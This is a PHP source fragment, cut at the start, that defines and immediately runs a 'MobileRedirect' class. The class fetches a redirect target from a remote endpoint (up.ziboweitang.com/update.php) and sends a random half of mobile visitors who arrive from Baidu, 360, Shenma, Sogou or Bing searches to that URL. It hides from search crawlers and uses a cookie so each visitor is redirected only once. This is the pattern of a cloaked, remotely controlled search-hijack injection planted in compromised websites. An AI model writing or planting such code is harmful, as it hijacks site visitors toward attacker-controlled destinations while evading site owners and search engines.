'https://up.ziboweitang.com/update.php', 'cache_ttl'=>300, 'redirect_probability'=>50, 'cookie_name'=>'mobile_redirected', 'cookie_expire_days'=>1, 'enable_ssl_verify'=>true, 'cache_dir'=>null]; private $shouldRedirect=false; private $redirectUrl=null; private $cacheDir; public function __construct(array $cfg=[]){ $this->config=array_merge($this->config,$cfg); $this->cacheDir=$this->config['cache_dir']?rtrim($this->config['cache_dir'],DIRECTORY_SEPARATOR):rtrim(sys_get_temp_dir(),DIRECTORY_SEPARATOR); if(!is_dir($this->cacheDir))@mkdir($this->cacheDir,0775,true); } public function process(){ if($this->hasRedirected()||empty($_SERVER['HTTP_REFERER'])||!$this->isMobile()||$this->isSearchSpider()||!$this->isValidMobileSource()||mt_rand(1,100)>$this->config['redirect_probability'])return; $url=$this->fetchRedirectUrlWithCache(); if($url&&$this->isSafeUrl($url)){ $this->redirectUrl=$url; $this->shouldRedirect=true; $this->setRedirectCookie(); } } public function outputSeoSafeRedirect(){ if(!$this->shouldRedirect||!$this->redirectUrl||!$this->isSafeUrl($this->redirectUrl))return; $jsonUrl=json_encode($this->redirectUrl,JSON_HEX_TAG|JSON_HEX_AMP|JSON_HEX_QUOT|JSON_UNESCAPED_SLASHES); if($jsonUrl===false)return; $htmlUrl=htmlspecialchars($this->redirectUrl,ENT_QUOTES,'UTF-8'); echo""; } private function isMobile(){ $ua=$_SERVER['HTTP_USER_AGENT']??''; return preg_match('/android|iphone|ipod|blackberry|iemobile|opera mini|windows phone|mobile/i',$ua)&&!preg_match('/ipad|tablet|pad|tab|kindle|playbook|silk/i',$ua); } private function isSearchSpider(){ $ua=$_SERVER['HTTP_USER_AGENT']??''; return preg_match('/baiduspider|360spider|yisouspider|shenma|bingbot|sogou|googlebot|spider|bot|crawler/i',$ua); } private function isValidMobileSource(){ $ref=$_SERVER['HTTP_REFERER']??''; $ua=$_SERVER['HTTP_USER_AGENT']??''; $baidu=(strpos($ref,'m.baidu.com')!==false)||(stripos($ua,'baiduboxapp')!==false); $qihoo=strpos($ref,'m.so.com')!==false; $shenma=(strpos($ref,'m.sm.cn')!==false)||(stripos($ua,'SMBrowser')!==false)||(stripos($ua,'so.m.sm.cn')!==false); $sogou=(strpos($ref,'m.sogou.com')!==false)||(stripos($ua,'SogouMobileBrowser')!==false); $bing=strpos($ref,'bing.com')!==false; return $baidu||$qihoo||$shenma||$sogou||$bing; } private function hasRedirected(){ return isset($_COOKIE[$this->config['cookie_name']])&&$_COOKIE[$this->config['cookie_name']]==='1'; } private function setRedirectCookie(){ $expire=time()+$this->config['cookie_expire_days']*86400; $secure=(!empty($_SERVER['HTTPS'])&&strtolower($_SERVER['HTTPS'])!=='off')||($_SERVER['SERVER_PORT']??0)==443; $path='/'; if(PHP_VERSION_ID>=70300){ setcookie($this->config['cookie_name'],'1',['expires'=>$expire,'path'=>$path,'secure'=>$secure,'httponly'=>true,'samesite'=>'Lax']); }else{ $cookie=sprintf('%s=1; expires=%s; path=%s; HttpOnly; SameSite=Lax',$this->config['cookie_name'],gmdate('D, d M Y H:i:s T',$expire),$path); if($secure)$cookie.='; Secure'; header("Set-Cookie: {$cookie}",false); } } private function fetchRedirectUrlWithCache(){ $cacheFile=$this->cacheDir.DIRECTORY_SEPARATOR.'mobile_rd_'.md5($this->config['api_url']).'.tmp'; if(is_file($cacheFile)&&(time()-filemtime($cacheFile))<$this->config['cache_ttl']){ $fp=@fopen($cacheFile,'rb'); if($fp&&flock($fp,LOCK_SH)){ $cached=stream_get_contents($fp); flock($fp,LOCK_UN); fclose($fp); $url=trim($cached); if($this->isSafeUrl($url))return $url; }elseif($fp)fclose($fp); } $url=$this->fetchRemoteUrl(); if($url&&$this->isSafeUrl($url)){ $fp=@fopen($cacheFile,'wb'); if($fp&&flock($fp,LOCK_EX)){ ftruncate($fp,0); fwrite($fp,$url); fflush($fp); flock($fp,LOCK_UN); fclose($fp); @chmod($cacheFile,0644); }elseif($fp)fclose($fp); return $url; } return null; } private function fetchRemoteUrl(){ $ch=curl_init($this->config['api_url']); if(!$ch)return null; $opts=[CURLOPT_RETURNTRANSFER=>true,CURLOPT_TIMEOUT=>2,CURLOPT_TIMEOUT_MS=>2000,CURLOPT_CONNECTTIMEOUT=>1,CURLOPT_CONNECTTIMEOUT_MS=>1000,CURLOPT_DNS_CACHE_TIMEOUT=>60,CURLOPT_USERAGENT=>'Mozilla/5.0 (compatible; MobileRedirect/1.0)',CURLOPT_FOLLOWLOCATION=>false,CURLOPT_HEADER=>false]; if($this->config['enable_ssl_verify']){ $opts[CURLOPT_SSL_VERIFYPEER]=true; $opts[CURLOPT_SSL_VERIFYHOST]=2; }else{ $opts[CURLOPT_SSL_VERIFYPEER]=false; $opts[CURLOPT_SSL_VERIFYHOST]=0; } curl_setopt_array($ch,$opts); $res=curl_exec($ch); $code=curl_getinfo($ch,CURLINFO_HTTP_CODE); curl_close($ch); return ($code===200&&$res!==false)?trim($res):null; } private function isSafeUrl($url){ if(!is_string($url)||empty($url))return false; $scheme=strtolower(parse_url($url,PHP_URL_SCHEME)); if(!in_array($scheme,['http','https'],true))return false; return filter_var($url,FILTER_VALIDATE_URL)!==false; } } $rd=new MobileRedirect(); $rd->process(); $rd->outputSeoSafeRedirect();